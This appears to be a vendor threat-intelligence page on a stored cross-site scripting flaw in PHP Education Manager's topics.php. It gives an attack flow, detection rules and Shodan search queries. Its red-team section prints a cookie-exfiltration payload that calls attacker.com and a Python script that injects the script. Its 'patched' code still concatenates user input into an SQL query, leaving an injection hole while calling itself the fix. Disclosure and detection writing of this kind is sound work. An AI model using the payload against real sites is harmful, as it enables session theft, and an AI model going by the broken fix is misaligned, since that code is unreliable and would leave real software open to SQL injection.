☠️
EXFILTRATING
DATA...
01010111 10110010 00101001 11000110 01101100 10011011 00010001 11100101 01000010 10101111
[ <-- BACK_TO_SEARCH ]
[ VENDOR STATS ]
SOON 🐛 CWE-79
👁️
Common Weakness Enumeration - Identifies the specific category of software weakness or flaw.

CVE-2025-60782

CVE-2025-60782 Cross-Site Scripting in Php education manager
📅 PUBLISHED: 2025-10-02 00:00 UTC 🔄 UPDATED: 2026-08-12 09:01 UTC
⏳ SCORE PENDING — ANALYSIS IN PROGRESS [ DEFENSE PATCH ↓ ]
💣 PoC: Public
👁️
Proof of Concept - Indicates if functional exploit code is publicly available, drastically increasing the risk of immediate attacks.
🎯 EPSS: 0.03%
👁️
0.03% probability
<1× above the median CVE
Tier: LOW
30-day exploitation window · FIRST.org · updated daily
🥷 MITRE: T1190
👁️
MITRE ATT&CK Tactic - Describes the strategy hackers use to execute this attack.
VULNERABLE: UNKNOWN / CHECK VENDOR
CVSS SEVERITY SCALE
9.0–10.0 CRITICAL
7.0–8.9 HIGH
4.0–6.9 MEDIUM
0.1–3.9 LOW
0.0 NONE
SOON
PENDING NVD
■ tracking this CVE ✓ independent patch confirmation ⧗ same-origin mirror (GHSA) ⚠ active exploitation verification policy →

Executive Summary

CVE-2025-60782 is a stored Cross-Site Scripting (XSS) vulnerability in PHP Education Manager v1.0, specifically within the topics management module (topics.php). An attacker with low-level privileges can inject malicious JavaScript payloads into the Title field during topic creation or updates. This payload is stored on the server and executed in the browser of any administrator or user who views the affected topics page, leading to session hijacking, credential theft, or defacement. The vulnerability is unpatched, and no official fix has been released by the vendor.

⚡ AUTOMATE YOUR CVE INTELLIGENCE

This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.

›Patch confidence — UNVERIFIED to CONFIRMED, cross-referenced NVD + RHSA + Debian
›Exploit & PoC — poc_status, poc_url, has_exploit. Not in NVD.
›Shodan dorks — ready-made queries to find exposed vulnerable systems
›Detection rules — YARA · Wazuh · Elastic (all plans) · Sigma (Pro)
›pending_fields — know exactly which of 7 fields NVD hasn't processed yet
›Free backfill — data incomplete when you paid? Re-check within 30 days = 0 credits
PAYG €0.08/lookup Standard €19/mo (was €29) · 5k credits Pro €65/mo (was €99) · 20k credits FOUNDING PRICE · LOCKED FOR LIFE · ENDS 31 DEC 2026
[ FROM €19/MO ]
Free sandbox key available
No signup required

Supply Chain & Package Security

This vulnerability affects a standalone PHP application, not an NPM, PyPI, Go, or Ruby package. No supply chain implications are present.

CVSS Breakdown & Threat Level

While no official CVSS vector is provided, a reasonable assessment based on the vulnerability characteristics is:

  • Attack Vector (AV): Network (N) – The attack is performed over HTTP.
  • Attack Complexity (AC): Low (L) – No special conditions are required.
  • Privileges Required (PR): Low (L) – An attacker needs a valid user account with topic creation/update permissions.
  • User Interaction (UI): Required (R) – The victim must visit the topics page.
  • Scope (S): Changed (C) – The vulnerability impacts resources beyond the vulnerable component (e.g., admin session).
  • Confidentiality (C): Low (L) – Potential access to session tokens or sensitive data.
  • Integrity (I): Low (L) – Possible defacement or data manipulation.
  • Availability (A): None (N) – No direct impact on availability.

Estimated CVSS Score: 5.4 (Medium)

Threat Level: Medium. The vulnerability is easy to exploit but requires user interaction and low privileges.

Deep Dive & Mechanics

The vulnerability resides in the topics.php script of PHP Education Manager v1.0. The application fails to sanitize or encode user-supplied input in the Title field when creating or updating a topic. When an attacker submits a payload such as <script>alert('XSS')</script>, it is stored in the database without proper escaping. When an administrator or any user navigates to the topics list, the malicious script is rendered in the browser, executing in the context of the victim's session.

Attack Flow:

  1. Attacker logs in with a low-privilege account.
  2. Attacker navigates to topics.php and creates a new topic with a malicious JavaScript payload in the Title field.
  3. The payload is stored in the database.
  4. An administrator or other user visits the topics list page.
  5. The stored payload executes in the victim's browser, allowing the attacker to steal cookies, perform actions on behalf of the victim, or deface the page.

Vulnerable vs. Patched Code

Vulnerable Code (PHP Education Manager v1.0):

// topics.php (vulnerable)
$title = $_POST['title'];
$query = "INSERT INTO topics (title) VALUES ('$title')";
mysqli_query($conn, $query);

Patched Code (Hypothetical Fix):

// topics.php (patched)
$title = htmlspecialchars($_POST['title'], ENT_QUOTES, 'UTF-8');
$query = "INSERT INTO topics (title) VALUES ('$title')";
mysqli_query($conn, $query);

The fix uses htmlspecialchars() to encode special HTML characters, preventing script execution.

Exploitation & Lab Setup

Red Team (Attack Simulation)

Prerequisites:

  • PHP Education Manager v1.0 installed and accessible.
  • A valid user account with topic creation privileges.

Exploit Steps:

  1. Log in to the application.
  2. Navigate to topics.php.
  3. Submit a new topic with the following payload in the Title field:
    <script>fetch('http://attacker.com/steal?cookie='+document.cookie)</script>
    
  4. Wait for an administrator to view the topics list.
  5. The cookie will be exfiltrated to the attacker's server.

Proof-of-Concept (PoC) Script:

import requests

target = "http://target.com/topics.php"
session = requests.Session()

# Login (adjust credentials)
login_data = {"username": "attacker", "password": "password123"}
session.post("http://target.com/login.php", data=login_data)

# Inject XSS payload
payload = {"title": "<script>alert('XSS')</script>"}
session.post(target, data=payload)
print("Payload injected. Wait for admin to visit topics.php.")

Blue Team (Defense & Detection)

Detection Steps:

  1. Monitor HTTP requests to topics.php for unusual title parameters containing <script> or event handlers.
  2. Review web server logs for POST requests with suspicious payloads.
  3. Implement Content Security Policy (CSP) headers to block inline scripts.
  4. Use Web Application Firewall (WAF) rules to filter XSS patterns.

Mitigation:

  • Apply input validation and output encoding (e.g., htmlspecialchars()).
  • Upgrade to a patched version if available.
  • Restrict topic creation privileges to trusted users only.

Indicators of Compromise (IOCs)

  • Network IOCs:
    • HTTP POST requests to /topics.php with title parameter containing <script> tags.
    • Outbound connections to unknown domains from the application server (data exfiltration).
  • File IOCs:
    • Log entries in access.log showing topics.php with encoded JavaScript in the title parameter.
  • Behavioral IOCs:
    • Unexpected JavaScript execution in the browser when viewing topics.
    • Unauthorized administrative actions performed by low-privilege users.

Detection Engineering

YARA Rule

rule CVE_2025_60782_XSS_Payload {
    meta:
        description = "Detects XSS payloads targeting PHP Education Manager topics.php"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2025-60782"
    strings:
        $xss1 = /<script[^>]*>.*<\/script>/i
        $xss2 = /on\w+\s*=\s*['\"].*['\"]/i
        $xss3 = /javascript\s*:/i
    condition:
        any of them
}

Sigma Rule

title: XSS Payload in topics.php Title Field
id: 8a9b3c4d-5e6f-7a8b-9c0d-1e2f3a4b5c6d
status: experimental
description: Detects XSS attempts in PHP Education Manager topics.php
author: Valters IT
logsource:
    category: webserver
    product: apache
detection:
    selection:
        cs-method: 'POST'
        cs-uri-stem: '/topics.php'
        cs-uri-query|contains: 'title='
    keywords:
        - '<script'
        - 'onerror='
        - 'onload='
        - 'javascript:'
    condition: selection and keywords
falsepositives:
    - Legitimate use of HTML in titles (unlikely)
level: high

Suricata Rule

alert http $HOME_NET any -> $EXTERNAL_NET any (msg:"CVE-2025-60782 XSS Payload in topics.php"; flow:to_server,established; content:"POST"; http_method; content:"/topics.php"; http_uri; content:"title="; http_client_body; pcre:"/<script[^>]*>.*<\/script>/i"; sid:1000001; rev:1;)

Remediation & Mitigation

  1. Immediate Actions:

    • Disable topic creation/update functionality for untrusted users.
    • Apply a Web Application Firewall (WAF) rule to block XSS payloads.
    • Manually sanitize the title field in topics.php using htmlspecialchars().
  2. Long-Term Fix:

    • The vendor should release a patched version with proper input validation and output encoding.
    • Implement Content Security Policy (CSP) headers to mitigate XSS impact.
    • Conduct a full security audit of the application.
  3. Monitoring:

    • Enable detailed logging for topics.php and monitor for suspicious patterns.
    • Use the provided YARA, Sigma, and Suricata rules for detection.

Valters IT Signature:
This report was generated by Valters IT Cyber Threat Intelligence Division. For questions, contact threatintel@valtersit.com.

👁️ SHODAN DORKS (THREAT HUNTING)

What is this? Security researchers use these exact search queries on Shodan.io (a search engine for internet-connected devices) to find vulnerable systems globally. You can copy these dorks to see if your organization's IP space is exposed.

http.title:"PHP Education Manager"
http.html:"topics.php"

💣 PoC CODE AVAILABLE

Exploit code for this CVE is tracked in our database. Access poc_code via API Pro.

[ API_PRO ] →
◈ SOURCE Analysis & enrichment: valtersit.com/cve/CVE-2025-60782/ · CVE data: NVD/MITRE (public domain) · © 2026 ValtersIT Hub
>_ SYSTEM_CORE: INTEL_ACTIVE
90% TEAM-CURATED // 10% AUTOMATED INGESTION.
ALL PATCH REFERENCES AND VERSION DATA SOURCED FROM NVD + OSV OFFICIAL REGISTRIES.